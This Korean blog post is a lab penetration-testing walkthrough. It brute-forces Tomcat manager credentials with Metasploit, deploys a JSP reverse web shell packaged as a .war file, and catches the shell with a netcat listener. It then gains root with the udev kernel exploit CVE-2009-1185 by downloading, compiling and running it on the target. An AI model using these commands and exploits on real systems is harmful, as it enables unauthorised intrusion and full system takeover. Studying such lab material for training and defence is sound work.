본문 바로가기

침투테스트/Metasploit

Metasploit - 피해지 쉘 권한 상승

1. 공격할 서비스 타겟

PORT      STATE  SERVICE     VERSION
8180/tcp  open   http        Apache Tomcat/Coyote JSP engine 1.1

 

 

 

Metasploit - 실행 중인 서비스 확인하기(Nmap)

1. Nmap - 포트스캔1.1. TCP 스캐닝 원리더보기※ 일반적인 TCP 스캔 방법입니다. -sS (SYN 스캔) : SYN 패킷을 보내서 SYN-ACK 패킷을 응답 받으면 서비스(포트)가 열려 있는 것으로 판단합니다. 반대로 RST

velvetviolet1024.tistory.com

앞서 Nmap으로 스캔한 피해지의 동작 서비스 중, 공격할 서비스를 타겟합니다.

 

브라우저를 이용해 해당 서비스에 접속 시, 아파치 서비스가 동작하고 있는 모습을 확인할 수 있습니다.

 

톰캣 관리자 대시보드 접근 시, 로그인을 수행하는 화면을 확인할 수 있습니다.

 

2. search - 취약점 검색 & 장착

search tomcat login

톰캣 관리자 대시보드 로그인 관련 취약점을 검색합니다.

 

use 0

톰캣 관리자 계정을 스캐닝하는 모듈을 장착합니다.

 

3. 공격을 위한 필수 정보 확인 & 입력

show options

공격 시 필요한 정보를 확인합니다.

 

set rhosts 192.168.50.129
set rport 8180

공격에 필요한 정보를 입력합니다.

 

4. 계정 스캐닝 공격 수행

ID : tomcat
PW : tomcat

공격 실행 시, 사전 대입 공격으로 톰캣 관리자의 계정 정보를 찾아낼 수 있습니다.

 

5. 관리자 대시보드 로그인

추출한 계정 정보로 로그인 시, 관리자 대시보드에 접근 가능한 모습을 확인할 수 있습니다.

 

관리자 페이지의 파일 업로드 기능을 확인할 수 있습니다.

더보기

.war : Java 웹 애플리케이션 서버에서 실행될 수 있는 웹 애플리케이션을 패키징한 파일

 

6. search - 취약점 검색 & 장착

search tomcat mgr upload

관리자 페이지의 파일 업로드 기능을 이용해 피해지의 쉘을 얻기 위해 관련 취약점을 검색합니다.

 

use 5

exploit/multi/http/tomcat_mgr_uplaod 공격 모듈을 사용합니다.

 

7. 공격을 위한 필수 정보 확인 & 입력

show options

공격에 필요한 정보를 확인합니다.

 

set rhosts 192.168.50.129
set rport 8180
set targeturi /manager/html
set lhost 192.168.50.128
set lport 8888

공격에 필요한 정보를 입력합니다.

 

8. 쉘 탈취 공격 수행

공격을 수행했지만 쉘 세션 수립에 실패한 모습을 확인할 수 있습니다.

 

exploit/multi/http/tomcat_mgr_deploy 공격 모듈 또한 사용해 보았지만, 동일하게 쉘 세션 생성에 실패한 모습을 확인할 수 있습니다.

 

9. 수동 공격

칼리 리눅스 내장 웹 쉘을 이용해 수동으로 톰캣 관리자 대시보드에 웹 쉘을 업로드하는 시나리오를 시도합니다.

 

9.1. JSP 리버스 쉘 확보

 

/usr/share/webshells/jsp/jsp-reverse.jsp

cp /usr/share/webshells/jsp/jsp-reverse.jsp /home/kali/Desktop

먼저 칼리 리눅스에 내장돼 있는 jsp 리버스 쉘을 바탕화면에 복사합니다.

 

9.2. JSP 리버스 쉘 코드 수정

vi 편집기를 이용해 외부 명령을 실행하는 부분에서 피해지 서버는 리눅스 이기 때문에 "cmd.exe" 값을 "/bin/bash"로 수정해 줍니다.

 

9.3. JSP 리버스 쉘 확장자 변경

완성된 리버스 쉘 파일을 압축 후, 해당 파일을 톰캣 관리자 페이지에 업로드하기 위해 .war 확장자로 변경합니다.

더보기

Tomcat 관리자 대시보드에서 .war 파일을 업로드하고 배포(Deploy)하면 해당 웹 애플리케이션이 서버에 설치되고 실행됩니다. 이렇게 배포된 애플리케이션은 브라우저를 통해 접근 가능하며, 업로드된 웹 쉘을 이용할 수 있다는 이야기입니다.

 

9.4. JSP 리버스 쉘 업로드

생성한 리버스 쉘 파일을 업로드합니다.

http://192.168.50.129:8180/jsp-reverse/jsp-reverse.jsp

이후 해당 경로로 접근 시, 업로드 된 .war 파일의 압축이 풀리면서 리버스 쉘 파일이 동작하는 모습을 볼 수 있습니다.

 

9.5. 피해지 쉘 탈취

 

nc -lvp 8888

칼리(공격지)에서 포트를 열어 둡니다.

 

이후 웹 쉘에서 공격지의 IP와 포트번호를 입력합니다.

 

칼리(공격지) 확인 시, 피해지의 쉘을 획득한 모습을 볼 수 있습니다.

하지만, 쉘 권한 확인 시, root 권한이 아닌 것을 확인할 수 있습니다.

 

10. 권한 상승

리눅스 운영체제의 취약점을 이용해 쉘의 권한 상승을 시도합니다.

 

10.1. 운영체제 버전 정보 확인

lsb_release -a
uname -r

해당 명령어를 통해 운영체제와 커널의 버전 정보를 확인합니다.

 

10.2. CVE 취약점 확인

 

https://www.exploit-db.com/

 

exploit-db 사이트를 통해 커널 2.6에서 권한 상승이 발생할 수 있는 CVE 취약점을 검색합니다.

 

 

Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)

Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2) EDB-ID: 8572 CVE: 2009-1185 Date: 2009-04-30

www.exploit-db.com

 

커널 2.6 버전에서 로컬 권한 상승이 가능한 취약점의 공격 코드를 다운로드합니다.

 

10.3. CVE 취약점 공격 수행

공격지에서 공격 코드가 존재하는 장소에서 웹 서버를 오픈합니다.

피해지 쉘에서 /tmp 경로로 이동 후, 공격 코드를 다운로드합니다.

피해지 쉘에서 공격 코드를 컴파일합니다.

피해지 쉘에서 현재 활성화된 Netlink 소켓 PID 번호를 확인합니다.

피해지 쉘에서 리버스 쉘 코드를 입력합니다.

컴파일된 공격코드를 Netlink 소켓 PID 번호와 함께 실행합니다.

공격지에서 9999번 포트를 리스닝하면 피해지 쉘이 root 권한으로 연결된 모습을 확인할 수 있습니다.

/tmp 경로 확인 시, 우리가 피해지에서 작성했던 run 파일과 컴파일된 공격 코드를 확인할 수 있습니다.

 

11. Reference

 

How to Perform Local Privilege Escalation Using a Linux Kernel Exploit

Getting root is considered the Holy Grail in the world of Linux exploitation. Much like SYSTEM on Windows, the root account provides full administrative access to the operating system. Sometimes even a successful exploit will only give a low-level shell; I

null-byte.wonderhowto.com